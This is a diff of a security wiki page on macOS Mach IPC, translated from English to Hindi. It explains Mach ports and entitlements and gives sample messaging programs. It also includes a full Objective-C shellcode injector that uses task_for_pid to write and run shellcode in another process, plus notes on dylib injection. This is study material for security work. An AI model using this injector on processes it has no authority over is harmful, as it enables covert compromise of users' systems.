Task B**. -- Task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** (the svc) so it can send messages to TASK B (bi-directional communication). +- कार्य **B** एक सेवा नाम के लिए बूटस्ट्रैप **लुकअप** आरंभ करता है। +- **launchd** जांचता है कि कार्य चल रहा है और यदि नहीं है, तो **इसे शुरू करता है**। +- कार्य **A** (सेवा) एक **बूटस्ट्रैप चेक-इन** करता है। यहां, **बूटस्ट्रैप** सर्वर एक SEND अधिकार बनाता है, इसे रखता है, और **प्राप्ति अधिकार कार्य A को स्थानांतरित करता है**। +- launchd **SEND अधिकार को डुप्लिकेट करता है और इसे कार्य B को भेजता है**। +- कार्य **B** एक नए पोर्ट के साथ एक **प्राप्ति** अधिकार और एक **भेजने** का अधिकार उत्पन्न करता है, और **भेजने का अधिकार कार्य A (सेवा) को देता है** ताकि वह कार्य B को संदेश भेज सके (द्विदिशीय संचार)। -However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation. +हालांकि, यह प्रक्रिया केवल पूर्वनिर्धारित सिस्टम कार्यों पर लागू होती है। गैर-प्रणाली कार्य अभी भी मूल रूप से वर्णित तरीके से कार्य करते हैं, जो संभावित रूप से अनुकरण की अनुमति दे सकता है। -### A Mach Message +### एक मच संदेश -[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) - -The `mach_msg` function, essentially a system call, is utilized for sending and receiving Mach messages. The function requires the message to be sent as the initial argument. This message must commence with a `mach_msg_header_t` structure, succeeded by the actual message content. The structure is defined as follows: +[यहां अधिक जानकारी प्राप्त करें](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) +`mach_msg` फ़ंक्शन, जो मूल रूप से एक सिस्टम कॉल है, मच संदेश भेजने और प्राप्त करने के लिए उपयोग किया जाता है। फ़ंक्शन को भेजे जाने वाले संदेश को प्रारंभिक तर्क के रूप में आवश्यक होता है। यह संदेश `mach_msg_header_t` संरचना के साथ शुरू होना चाहिए, इसके बाद वास्तविक संदेश सामग्री होती है। संरचना को इस प्रकार परिभाषित किया गया है: ```c typedef struct { - mach_msg_bits_t msgh_bits; - mach_msg_size_t msgh_size; - mach_port_t msgh_remote_port; - mach_port_t msgh_local_port; - mach_port_name_t msgh_voucher_port; - mach_msg_id_t msgh_id; +mach_msg_bits_t msgh_bits; +mach_msg_size_t msgh_size; +mach_port_t msgh_remote_port; +mach_port_t msgh_local_port; +mach_port_name_t msgh_voucher_port; +mach_msg_id_t msgh_id; } mach_msg_header_t; ``` +प्रक्रियाएँ जिनके पास _**receive right**_ है, वे एक Mach पोर्ट पर संदेश प्राप्त कर सकती हैं। इसके विपरीत, **senders** को _**send**_ या _**send-once right**_ दिया जाता है। send-once right विशेष रूप से एकल संदेश भेजने के लिए है, जिसके बाद यह अमान्य हो जाता है। -Processes possessing a _**receive right**_ can receive messages on a Mach port. Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid. - -In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +एक आसान **bi-directional communication** प्राप्त करने के लिए, एक प्रक्रिया एक **mach port** को mach **message header** में निर्दिष्ट कर सकती है जिसे _reply port_ (**`msgh_local_port`**) कहा जाता है जहाँ संदेश का **receiver** इस संदेश का **reply** भेज सकता है। **`msgh_bits`** में बिटफ्लैग का उपयोग **indicate** करने के लिए किया जा सकता है कि इस पोर्ट के लिए एक **send-once** **right** प्राप्त और स्थानांतरित किया जाना चाहिए (`MACH_MSG_TYPE_MAKE_SEND_ONCE`)। > [!TIP] -> Note that this kind of bi-directional communication is used in XPC messages that expect a replay (`xpc_connection_send_message_with_reply` and `xpc_connection_send_message_with_reply_sync`). But **usually different ports are created** as explained previously to create the bi-directional communication. +> ध्यान दें कि इस प्रकार की bi-directional communication का उपयोग XPC संदेशों में किया जाता है जो एक replay की अपेक्षा करते हैं (`xpc_connection_send_message_with_reply` और `xpc_connection_send_message_with_reply_sync`)। लेकिन **आमतौर पर विभिन्न पोर्ट बनाए जाते हैं** जैसा कि पहले समझाया गया है ताकि bi-directional communication बनाया जा सके। -The other fields of the message header are: +संदेश हेडर के अन्य क्षेत्र हैं: -- `msgh_size`: the size of the entire packet. -- `msgh_remote_port`: the port on which this message is sent. -- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html). -- `msgh_id`: the ID of this message, which is interpreted by the receiver. +- `msgh_size`: पूरे पैकेट का आकार। +- `msgh_remote_port`: वह पोर्ट जिस पर यह संदेश भेजा जाता है। +- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html)। +- `msgh_id`: इस संदेश की ID, जिसे रिसीवर द्वारा व्याख्यायित किया जाता है। > [!CAUTION] -> Note that **mach messages are sent over a \_mach port**\_, which is a **single receiver**, **multiple sender** communication channel built into the mach kernel. **Multiple processes** can **send messages** to a mach port, but at any point only **a single process can read** from it. +> ध्यान दें कि **mach messages एक \_mach port**\_ के माध्यम से भेजे जाते हैं, जो एक **एकल रिसीवर**, **कई सेंडर** संचार चैनल है जो mach कर्नेल में निर्मित है। **कई प्रक्रियाएँ** एक mach पोर्ट पर **संदेश भेज सकती हैं**, लेकिन किसी भी समय केवल **एकल प्रक्रिया ही पढ़ सकती है**। ### Enumerate ports - ```bash lsmp -p ``` +आप इस टूल को iOS में [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) से डाउनलोड करके इंस्टॉल कर सकते हैं। -You can install this tool in iOS downloading it from [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) +### कोड उदाहरण -### Code example - -Note how the **sender** **allocates** a port, create a **send right** for the name `org.darlinghq.example` and send it to the **bootstrap server** while the sender asked for the **send right** of that name and used it to **send a message**. +ध्यान दें कि **प्रेषक** एक पोर्ट **आवंटित** करता है, नाम `org.darlinghq.example` के लिए एक **भेजने का अधिकार** बनाता है और इसे **बूटस्ट्रैप सर्वर** पर भेजता है जबकि प्रेषक ने उस नाम के **भेजने के अधिकार** के लिए अनुरोध किया और इसका उपयोग **संदेश भेजने** के लिए किया। {{#tabs}} {{#tab name="receiver.c"}} - ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc receiver.c -o receiver @@ -118,66 +113,64 @@ Note how the **sender** **allocates** a port, create a **send right** for the na int main() { - // Create a new port. - mach_port_t port; - kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); - if (kr != KERN_SUCCESS) { - printf("mach_port_allocate() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_allocate() created port right name %d\n", port); +// Create a new port. +mach_port_t port; +kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +if (kr != KERN_SUCCESS) { +printf("mach_port_allocate() failed with code 0x%x\n", kr); +return 1; +} +printf("mach_port_allocate() created port right name %d\n", port); - // Give us a send right to this port, in addition to the receive right. - kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); - if (kr != KERN_SUCCESS) { - printf("mach_port_insert_right() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_insert_right() inserted a send right\n"); +// Give us a send right to this port, in addition to the receive right. +kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); +if (kr != KERN_SUCCESS) { +printf("mach_port_insert_right() failed with code 0x%x\n", kr); +return 1; +} +printf("mach_port_insert_right() inserted a send right\n"); - // Send the send right to the bootstrap server, so that it can be looked up by other processes. - kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_register() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_register()'ed our port\n"); +// Send the send right to the bootstrap server, so that it can be looked up by other processes. +kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); +if (kr != KERN_SUCCESS) { +printf("bootstrap_register() failed with code 0x%x\n", kr); +return 1; +} +printf("bootstrap_register()'ed our port\n"); - // Wait for a message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - mach_msg_trailer_t trailer; - } message; +// Wait for a message. +struct { +mach_msg_header_t header; +char some_text[10]; +int some_number; +mach_msg_trailer_t trailer; +} message; - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_RCV_MSG, // Options. We're receiving a message. - 0, // Size of the message being sent, if sending. - sizeof(message), // Size of the buffer for receiving. - port, // The port to receive a message on. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Got a message\n"); +kr = mach_msg( +&message.header, // Same as (mach_msg_header_t *) &message. +MACH_RCV_MSG, // Options. We're receiving a message. +0, // Size of the message being sent, if sending. +sizeof(message), // Size of the buffer for receiving. +port, // The port to receive a message on. +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL // Port for the kernel to send notifications about this message to. +); +if (kr != KERN_SUCCESS) { +printf("mach_msg() failed with code 0x%x\n", kr); +return 1; +} +printf("Got a message\n"); - message.some_text[9] = 0; - printf("Text: %s, number: %d\n", message.some_text, message.some_number); +message.some_text[9] = 0; +printf("Text: %s, number: %d\n", message.some_text, message.some_number); } ``` - {{#endtab}} {{#tab name="sender.c"}} - ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc sender.c -o sender @@ -188,67 +181,66 @@ int main() { int main() { - // Lookup the receiver port using the bootstrap server. - mach_port_t port; - kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_look_up() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_look_up() returned port right name %d\n", port); +// Lookup the receiver port using the bootstrap server. +mach_port_t port; +kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); +if (kr != KERN_SUCCESS) { +printf("bootstrap_look_up() failed with code 0x%x\n", kr); +return 1; +} +printf("bootstrap_look_up() returned port right name %d\n", port); - // Construct our message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - } message; +// Construct our message. +struct { +mach_msg_header_t header; +char some_text[10]; +int some_number; +} message; - message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); - message.header.msgh_remote_port = port; - message.header.msgh_local_port = MACH_PORT_NULL; +message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); +message.header.msgh_remote_port = port; +message.header.msgh_local_port = MACH_PORT_NULL; - strncpy(message.some_text, "Hello", sizeof(message.some_text)); - message.some_number = 35; +strncpy(message.some_text, "Hello", sizeof(message.some_text)); +message.some_number = 35; - // Send the message. - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_SEND_MSG, // Options. We're sending a message. - sizeof(message), // Size of the message being sent. - 0, // Size of the buffer for receiving. - MACH_PORT_NULL, // A port to receive a message on, if receiving. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Sent a message\n"); +// Send the message. +kr = mach_msg( +&message.header, // Same as (mach_msg_header_t *) &message. +MACH_SEND_MSG, // Options. We're sending a message. +sizeof(message), // Size of the message being sent. +0, // Size of the buffer for receiving. +MACH_PORT_NULL, // A port to receive a message on, if receiving. +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL // Port for the kernel to send notifications about this message to. +); +if (kr != KERN_SUCCESS) { +printf("mach_msg() failed with code 0x%x\n", kr); +return 1; +} +printf("Sent a message\n"); } ``` - {{#endtab}} {{#endtabs}} -### Privileged Ports +### विशेष पोर्ट -- **Host port**: If a process has **Send** privilege over this port he can get **information** about the **system** (e.g. `host_processor_info`). -- **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get this permission. - - Moreover, in order to call **`kext_request`** API it's needed to have other entitlements **`com.apple.private.kext*`** which are only given to Apple binaries. -- **Task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`. -- **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...). - - Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`in a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) while doing a `fork()`. - - These are the restrictions to access the port (from `macos_task_policy` from the binary `AppleMobileFileIntegrity`): - - If the app has **`com.apple.security.get-task-allow` entitlement** processes from the **same user can access the task port** (commonly added by Xcode for debugging). The **notarization** process won't allow it to production releases. - - Apps with the **`com.apple.system-task-ports`** entitlement can get the **task port for any** process, except the kernel. In older versions it was called **`task_for_pid-allow`**. This is only granted to Apple applications. - - **Root can access task ports** of applications **not** compiled with a **hardened** runtime (and not from Apple). +- **होस्ट पोर्ट**: यदि किसी प्रक्रिया के पास इस पोर्ट पर **भेजने** का विशेषाधिकार है, तो वह **सिस्टम** के बारे में **जानकारी** प्राप्त कर सकता है (जैसे `host_processor_info`)। +- **होस्ट प्रिव पोर्ट**: इस पोर्ट पर **भेजने** का अधिकार रखने वाली प्रक्रिया **विशेषाधिकार प्राप्त क्रियाएँ** कर सकती है जैसे कि कर्नेल एक्सटेंशन लोड करना। इस अनुमति को प्राप्त करने के लिए **प्रक्रिया को रूट होना चाहिए**। +- इसके अलावा, **`kext_request`** API को कॉल करने के लिए अन्य अधिकारों की आवश्यकता होती है **`com.apple.private.kext*`** जो केवल Apple बाइनरी को दिए जाते हैं। +- **कार्य नाम पोर्ट:** _कार्य पोर्ट_ का एक अप्रिवileged संस्करण। यह कार्य को संदर्भित करता है, लेकिन इसे नियंत्रित करने की अनुमति नहीं देता। इसके माध्यम से उपलब्ध एकमात्र चीज `task_info()` प्रतीत होती है। +- **कार्य पोर्ट** (जिसे कर्नेल पोर्ट भी कहा जाता है): इस पोर्ट पर भेजने की अनुमति के साथ कार्य को नियंत्रित करना संभव है (मेमोरी पढ़ना/लिखना, थ्रेड बनाना...)। +- कॉल करें `mach_task_self()` इस पोर्ट के लिए **नाम प्राप्त करने** के लिए कॉलर कार्य के लिए। यह पोर्ट केवल **`exec()`** के माध्यम से **विरासत में** मिलता है; `fork()` के साथ बनाए गए नए कार्य को एक नया कार्य पोर्ट मिलता है (एक विशेष मामले के रूप में, एक कार्य को `exec()` के बाद एक suid बाइनरी में भी एक नया कार्य पोर्ट मिलता है)। एक कार्य को उत्पन्न करने और इसके पोर्ट को प्राप्त करने का एकमात्र तरीका ["पोर्ट स्वैप डांस"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) करना है जबकि `fork()` कर रहे हैं। +- पोर्ट तक पहुँचने के लिए ये प्रतिबंध हैं (बाइनरी `AppleMobileFileIntegrity` से `macos_task_policy`): +- यदि ऐप के पास **`com.apple.security.get-task-allow` विशेषाधिकार** है, तो **समान उपयोगकर्ता की प्रक्रियाएँ कार्य पोर्ट तक पहुँच सकती हैं** (आमतौर पर डिबगिंग के लिए Xcode द्वारा जोड़ा जाता है)। **नोटरीकरण** प्रक्रिया इसे उत्पादन रिलीज़ में अनुमति नहीं देगी। +- **`com.apple.system-task-ports`** विशेषाधिकार वाले ऐप्स किसी भी प्रक्रिया के लिए **कार्य पोर्ट प्राप्त कर सकते हैं**, सिवाय कर्नेल के। पुराने संस्करणों में इसे **`task_for_pid-allow`** कहा जाता था। यह केवल Apple अनुप्रयोगों को दिया जाता है। +- **रूट उन अनुप्रयोगों के कार्य पोर्ट तक पहुँच सकता है** जो **हर्डनड** रनटाइम के साथ संकलित नहीं हैं (और Apple से नहीं हैं)। -### Shellcode Injection in thread via Task port +### थ्रेड में टास्क पोर्ट के माध्यम से शेलकोड इंजेक्शन -You can grab a shellcode from: +आप एक शेलकोड प्राप्त कर सकते हैं: {{#ref}} ../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -256,7 +248,6 @@ You can grab a shellcode from: {{#tabs}} {{#tab name="mysleep.m"}} - ```objectivec // clang -framework Foundation mysleep.m -o mysleep // codesign --entitlements entitlements.plist -s - mysleep @@ -264,52 +255,48 @@ You can grab a shellcode from: #import double performMathOperations() { - double result = 0; - for (int i = 0; i < 10000; i++) { - result += sqrt(i) * tan(i) - cos(i); - } - return result; +double result = 0; +for (int i = 0; i < 10000; i++) { +result += sqrt(i) * tan(i) - cos(i); +} +return result; } int main(int argc, const char * argv[]) { - @autoreleasepool { - NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] +@autoreleasepool { +NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]); - while (true) { - [NSThread sleepForTimeInterval:5]; +while (true) { +[NSThread sleepForTimeInterval:5]; - performMathOperations(); // Silent action +performMathOperations(); // Silent action - [NSThread sleepForTimeInterval:5]; - } - } - return 0; +[NSThread sleepForTimeInterval:5]; +} +} +return 0; } ``` - {{#endtab}} {{#tab name="entitlements.plist"}} - ```xml - com.apple.security.get-task-allow - +com.apple.security.get-task-allow + ``` - {{#endtab}} {{#endtabs}} -**Compile** the previous program and add the **entitlements** to be able to inject code with the same user (if not you will need to use **sudo**). +**पिछले प्रोग्राम को संकलित करें** और कोड इंजेक्ट करने के लिए **अधिकार** जोड़ें उसी उपयोगकर्ता के साथ (यदि नहीं, तो आपको **sudo** का उपयोग करना होगा)।
sc_injector.m - ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector @@ -323,18 +310,18 @@ processIdentifier]); kern_return_t mach_vm_allocate ( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags +vm_map_t target, +mach_vm_address_t *address, +mach_vm_size_t size, +int flags ); kern_return_t mach_vm_write ( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt +vm_map_t target_task, +mach_vm_address_t address, +vm_offset_t data, +mach_msg_type_number_t dataCnt ); @@ -352,177 +339,174 @@ char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\ int inject(pid_t pid){ - task_t remoteTask; +task_t remoteTask; - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } +// Get access to the task port of the process we want to inject into +kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); +if (kr != KERN_SUCCESS) { +fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); +return (-1); +} +else{ +printf("Gathered privileges over the task port of process: %d\n", pid); +} - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); +// Allocate memory for the stack +mach_vm_address_t remoteStack64 = (vm_address_t) NULL; +mach_vm_address_t remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} +else +{ - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } +fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); +} - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); +// Allocate memory for the code +remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source +// Write the shellcode to the allocated memory +kr = mach_vm_write(remoteTask, // Task port +remoteCode64, // Virtual Address (Destination) +(vm_address_t) injectedCode, // Source +0xa9); // Length of the source - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); +return (-3); +} - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); +// Set the permissions on the allocated code memory +kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); +// Set the permissions on the allocated stack memory +kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; +// Create thread to run shellcode +struct arm_unified_thread_state remoteThreadState64; +thread_act_t remoteThread; - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); +memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 +remoteStack64 += (STACK_SIZE / 2); // this is the real stack +//remoteStack64 -= 8; // need alignment of 16 - const char* p = (const char*) remoteCode64; +const char* p = (const char*) remoteCode64; - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; +remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; +remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; +remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; +remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); +printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); +kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, +(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } +if (kr != KERN_SUCCESS) { +fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); +return (-3); +} - return (0); +return (0); } pid_t pidForProcessName(NSString *processName) { - NSArray *arguments = @[@"pgrep", processName]; - NSTask *task = [[NSTask alloc] init]; - [task setLaunchPath:@"/usr/bin/env"]; - [task setArguments:arguments]; +NSArray *arguments = @[@"pgrep", processName]; +NSTask *task = [[NSTask alloc] init]; +[task setLaunchPath:@"/usr/bin/env"]; +[task setArguments:arguments]; - NSPipe *pipe = [NSPipe pipe]; - [task setStandardOutput:pipe]; +NSPipe *pipe = [NSPipe pipe]; +[task setStandardOutput:pipe]; - NSFileHandle *file = [pipe fileHandleForReading]; +NSFileHandle *file = [pipe fileHandleForReading]; - [task launch]; +[task launch]; - NSData *data = [file readDataToEndOfFile]; - NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; +NSData *data = [file readDataToEndOfFile]; +NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; - return (pid_t)[string integerValue]; +return (pid_t)[string integerValue]; } BOOL isStringNumeric(NSString *str) { - NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; - NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; - return r.location == NSNotFound; +NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; +NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; +return r.location == NSNotFound; } int main(int argc, const char * argv[]) { - @autoreleasepool { - if (argc < 2) { - NSLog(@"Usage: %s ", argv[0]); - return 1; - } +@autoreleasepool { +if (argc < 2) { +NSLog(@"Usage: %s ", argv[0]); +return 1; +} - NSString *arg = [NSString stringWithUTF8String:argv[1]]; - pid_t pid; +NSString *arg = [NSString stringWithUTF8String:argv[1]]; +pid_t pid; - if (isStringNumeric(arg)) { - pid = [arg intValue]; - } else { - pid = pidForProcessName(arg); - if (pid == 0) { - NSLog(@"Error: Process named '%@' not found.", arg); - return 1; - } - else{ - printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); - } - } +if (isStringNumeric(arg)) { +pid = [arg intValue]; +} else { +pid = pidForProcessName(arg); +if (pid == 0) { +NSLog(@"Error: Process named '%@' not found.", arg); +return 1; +} +else{ +printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); +} +} - inject(pid); - } +inject(pid); +} - return 0; +return 0; } ``` -
- ```bash gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` +### थ्रेड में टास्क पोर्ट के माध्यम से Dylib इंजेक्शन -### Dylib Injection in thread via Task port +macOS में **थ्रेड्स** को **Mach** के माध्यम से या **posix `pthread` api** का उपयोग करके नियंत्रित किया जा सकता है। पिछले इंजेक्शन में जो थ्रेड हमने उत्पन्न किया, वह Mach api का उपयोग करके उत्पन्न किया गया था, इसलिए **यह posix अनुपालन नहीं है**। -In macOS **threads** might be manipulated via **Mach** or using **posix `pthread` api**. The thread we generated in the previous injection, was generated using Mach api, so **it's not posix compliant**. +एक **सरल शेलकोड** को एक कमांड निष्पादित करने के लिए **इंजेक्ट करना संभव था** क्योंकि इसे **posix** अनुपालन वाले apis के साथ काम करने की आवश्यकता नहीं थी, केवल Mach के साथ। **अधिक जटिल इंजेक्शन** के लिए **थ्रेड** को भी **posix अनुपालन** होना चाहिए। -It was possible to **inject a simple shellcode** to execute a command because it **didn't need to work with posix** compliant apis, only with Mach. **More complex injections** would need the **thread** to be also **posix compliant**. +इसलिए, **थ्रेड को सुधारने** के लिए इसे **`pthread_create_from_mach_thread`** को कॉल करना चाहिए जो **एक मान्य pthread** बनाएगा। फिर, यह नया pthread **dlopen** को कॉल कर सकता है ताकि **सिस्टम से एक dylib** लोड किया जा सके, इसलिए विभिन्न क्रियाओं को करने के लिए नए शेलकोड लिखने के बजाय कस्टम लाइब्रेरीज़ लोड करना संभव है। -Therefore, to **improve the thread** it should call **`pthread_create_from_mach_thread`** which will **create a valid pthread**. Then, this new pthread could **call dlopen** to **load a dylib** from the system, so instead of writing new shellcode to perform different actions it's possible to load custom libraries. - -You can find **example dylibs** in (for example the one that generates a log and then you can listen to it): +आप **उदाहरण dylibs** पा सकते हैं (उदाहरण के लिए, वह जो एक लॉग उत्पन्न करता है और फिर आप इसे सुन सकते हैं): {{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -531,7 +515,6 @@ You can find **example dylibs** in (for example the one that generates a log and
